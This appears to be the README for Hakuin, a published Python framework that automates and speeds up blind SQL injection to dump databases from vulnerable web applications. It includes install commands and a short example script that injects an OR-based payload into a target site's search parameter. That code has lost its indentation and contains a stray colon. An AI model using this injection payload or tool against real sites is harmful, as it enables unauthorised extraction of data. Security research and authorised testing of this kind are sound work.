pruzko/hakuinA blazing fast and fully configurable Blind SQL Injection optimization and automation framework.
Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the extraction logic and allows users to easily and efficiently dump databases from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, statistical modeling, parallelism, ternary queries, and more.
Hakuin has been presented at esteemed academic and industrial conferences:
More information can be found in our paper and slides.
To install Hakuin, simply run:
pip3 install hakuin
Hakuin ships with an intuitive tool that offers most of Hakuin's features directly from the command line:
hk -h
Sometimes, BSQLI vulnerabilities are too tricky to exploit from the command line and require custom scripting. This is where Hakuin shines, allowing you to customize absolutely everything - the injection logic, the inference logic, and even the queries.
Here is a minimal example:
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
Make sure to go through our tutorial.
This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}